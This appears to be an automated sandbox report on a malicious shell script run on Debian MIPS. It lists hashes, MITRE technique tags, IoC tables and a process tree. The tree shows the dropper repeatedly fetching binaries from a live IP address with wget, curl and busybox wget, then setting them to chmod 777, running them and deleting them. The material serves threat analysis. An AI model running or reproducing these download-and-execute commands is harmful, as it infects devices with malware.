71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129

Analysis

max time kernel
150s
max time network
154s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
11/11/2024, 02:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
Size 10KB
Sample241111-c2fx9atphj
SHA256 71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129
MD5 e3d0070216ad3a37013107bcf9685e13
SHA1 7d7b96188b2ee5b2fe4fb40e7483b77d275d38be
SHA512 6de4ee11de570db7262a7e7c77776a34e5065069d68b0ab1145f2d05d7b9b49204304d5068102c0cf020c53fdee93d661316016572aab6232b320cad53b4b034
SSDEEP 192:HpJXJwa8BiCmRkQCisfJY1TpVZvyqYpJXJwamCmRkQCiNzVZvyqJj:HpJXJwa8BiCmRkQCisBY1TGpJXJwamCo
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 27 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
891	chmod
927	chmod
939	chmod
957	chmod
963	chmod
771	chmod
831	chmod
855	chmod
728	chmod
885	chmod
897	chmod
909	chmod
951	chmod
945	chmod
837	chmod
915	chmod
921	chmod
861	chmod
873	chmod
786	chmod
795	chmod
843	chmod
849	chmod
867	chmod
903	chmod
933	chmod
879	chmod

Executes dropped EXE 27 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 27 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn	curl
File opened for modification	/tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH	curl
File opened for modification	/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	curl
File opened for modification	/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	curl
File opened for modification	/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	curl
File opened for modification	/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	curl
File opened for modification	/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	curl
File opened for modification	/tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS	curl
File opened for modification	/tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w	curl
File opened for modification	/tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB	curl
File opened for modification	/tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo	curl
File opened for modification	/tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu	curl
File opened for modification	/tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB	curl
File opened for modification	/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	curl
File opened for modification	/tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH	curl
File opened for modification	/tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv	curl
File opened for modification	/tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk	curl
File opened for modification	/tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg	curl
File opened for modification	/tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb	curl
File opened for modification	/tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv	curl
File opened for modification	/tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy	curl
File opened for modification	/tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb	curl
File opened for modification	/tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu	curl
File opened for modification	/tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk	curl
File opened for modification	/tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9	curl
File opened for modification	/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	curl
File opened for modification	/tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1	curl

/tmp/71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
/tmp/71b077a8d4c4a3cc15f853240b5bb90ee25ad4ff9fb1c6ec58ef25aa856a3129.sh
1⤵
PID:697
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:705
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:715
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:726
- /bin/chmod
  chmod 777 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - File and Directory Permissions Modification
  PID:728
- /tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  ./5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Executes dropped EXE
  PID:729
- /bin/rm
  rm 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:730
- /usr/bin/wget
  wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:731
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:751
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:760
- /bin/chmod
  chmod 777 J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - File and Directory Permissions Modification
  PID:771
- /tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  ./J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:775
- /usr/bin/wget
  wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:783
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:785
- /bin/chmod
  chmod 777 jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - File and Directory Permissions Modification
  PID:786
- /tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  ./jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Executes dropped EXE
  PID:787
- /bin/rm
  rm jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:788
- /usr/bin/wget
  wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:789
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:794
- /bin/chmod
  chmod 777 UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - File and Directory Permissions Modification
  PID:795
- /tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  ./UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:797
- /usr/bin/wget
  wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:798
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:801
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:809
- /bin/chmod
  chmod 777 fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  ./fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Executes dropped EXE
  PID:832
- /bin/rm
  rm fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:833
- /usr/bin/wget
  wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:834
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:835
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:836
- /bin/chmod
  chmod 777 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  ./23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:839
- /usr/bin/wget
  wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:840
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:842
- /bin/chmod
  chmod 777 pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  ./pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Executes dropped EXE
  PID:844
- /bin/rm
  rm pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:845
- /usr/bin/wget
  wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:846
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:847
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:848
- /bin/chmod
  chmod 777 t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - File and Directory Permissions Modification
  PID:849
- /tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  ./t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - Executes dropped EXE
  PID:850
- /bin/rm
  rm t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:851
- /usr/bin/wget
  wget http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:852
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:853
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:854
- /bin/chmod
  chmod 777 EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - File and Directory Permissions Modification
  PID:855
- /tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  ./EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - Executes dropped EXE
  PID:856
- /bin/rm
  rm EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:857
- /usr/bin/wget
  wget http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:858
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:860
- /bin/chmod
  chmod 777 KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - File and Directory Permissions Modification
  PID:861
- /tmp/KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  ./KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  - Executes dropped EXE
  PID:862
- /bin/rm
  rm KtqrCPC39QHPmzpP7vITrap0pMWGxGM7Nv
  2⤵
  PID:863
- /usr/bin/wget
  wget http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:864
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:865
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:866
- /bin/chmod
  chmod 777 X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  ./X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm X31BQyMsHRMjoRsRLvavWbKxKmJgU9aPYk
  2⤵
  PID:869
- /usr/bin/wget
  wget http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:870
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:871
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:872
- /bin/chmod
  chmod 777 87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  ./87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  - Executes dropped EXE
  PID:874
- /bin/rm
  rm 87z03H0K607kZbb84F6UlIV3Fm0WCekgxn
  2⤵
  PID:875
- /usr/bin/wget
  wget http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:876
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:877
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:878
- /bin/chmod
  chmod 777 kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  ./kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - Executes dropped EXE
  PID:880
- /bin/rm
  rm kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:881
- /usr/bin/wget
  wget http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:882
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:883
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:884
- /bin/chmod
  chmod 777 sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - File and Directory Permissions Modification
  PID:885
- /tmp/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  ./sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - Executes dropped EXE
  PID:886
- /bin/rm
  rm sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:887
- /usr/bin/wget
  wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:888
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:889
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:890
- /bin/chmod
  chmod 777 jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  ./jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm jFdpV9TZq1HuziMuFKBfUxUSfPXCvsFFYy
  2⤵
  PID:893
- /usr/bin/wget
  wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:894
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:895
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:896
- /bin/chmod
  chmod 777 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - File and Directory Permissions Modification
  PID:897
- /tmp/5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  ./5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  - Executes dropped EXE
  PID:898
- /bin/rm
  rm 5Iv1Or4Fe2eb9wvjaCcbl8Y71kzvkvzDZg
  2⤵
  PID:899
- /usr/bin/wget
  wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:900
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:901
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:902
- /bin/chmod
  chmod 777 J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - File and Directory Permissions Modification
  PID:903
- /tmp/J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  ./J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  - Executes dropped EXE
  PID:904
- /bin/rm
  rm J2D2f2xrRvSC8XTnQGTu3T5fzjRZ8rtxPo
  2⤵
  PID:905
- /usr/bin/wget
  wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:906
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:907
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:908
- /bin/chmod
  chmod 777 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - File and Directory Permissions Modification
  PID:909
- /tmp/23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  ./23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  - Executes dropped EXE
  PID:910
- /bin/rm
  rm 23C6DDMrfTWA6HKdonYx5y5hD4IGtbSjgS
  2⤵
  PID:911
- /usr/bin/wget
  wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:912
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:913
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:914
- /bin/chmod
  chmod 777 UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - File and Directory Permissions Modification
  PID:915
- /tmp/UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  ./UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  - Executes dropped EXE
  PID:916
- /bin/rm
  rm UWBDEHRq39n5DP3K7AnWFwjY7cBjb09qU9
  2⤵
  PID:917
- /usr/bin/wget
  wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:918
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:919
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:920
- /bin/chmod
  chmod 777 fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - File and Directory Permissions Modification
  PID:921
- /tmp/fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  ./fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  - Executes dropped EXE
  PID:922
- /bin/rm
  rm fWsAApYbsLuQx63lTKHcgIJJicVvWrkmX1
  2⤵
  PID:923
- /usr/bin/wget
  wget http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:924
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:925
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:926
- /bin/chmod
  chmod 777 EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  ./EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  - Executes dropped EXE
  PID:928
- /bin/rm
  rm EOfWMBWSTw7hz2X8lO0JgHoXUblAHbiAfu
  2⤵
  PID:929
- /usr/bin/wget
  wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:930
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:931
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:932
- /bin/chmod
  chmod 777 pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - File and Directory Permissions Modification
  PID:933
- /tmp/pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  ./pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  - Executes dropped EXE
  PID:934
- /bin/rm
  rm pmat3WbZH1KiBJEGksmoiDM1Kv32UB9m0w
  2⤵
  PID:935
- /usr/bin/wget
  wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:936
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:937
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:938
- /bin/chmod
  chmod 777 t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  ./t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  - Executes dropped EXE
  PID:940
- /bin/rm
  rm t0q2kVcpSw6OS2PhSZVnZKOQTeHKB29OSb
  2⤵
  PID:941
- /usr/bin/wget
  wget http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:942
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:943
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:944
- /bin/chmod
  chmod 777 kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - File and Directory Permissions Modification
  PID:945
- /tmp/kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  ./kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  - Executes dropped EXE
  PID:946
- /bin/rm
  rm kGqPkQmvte7NHX3QV7GsyASYhMs330BSeH
  2⤵
  PID:947
- /usr/bin/wget
  wget http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  PID:948
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sQrkfgXZGmd08e5sUSAWSnWv6KmDVC1xPB
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:949
- /bin/busybox
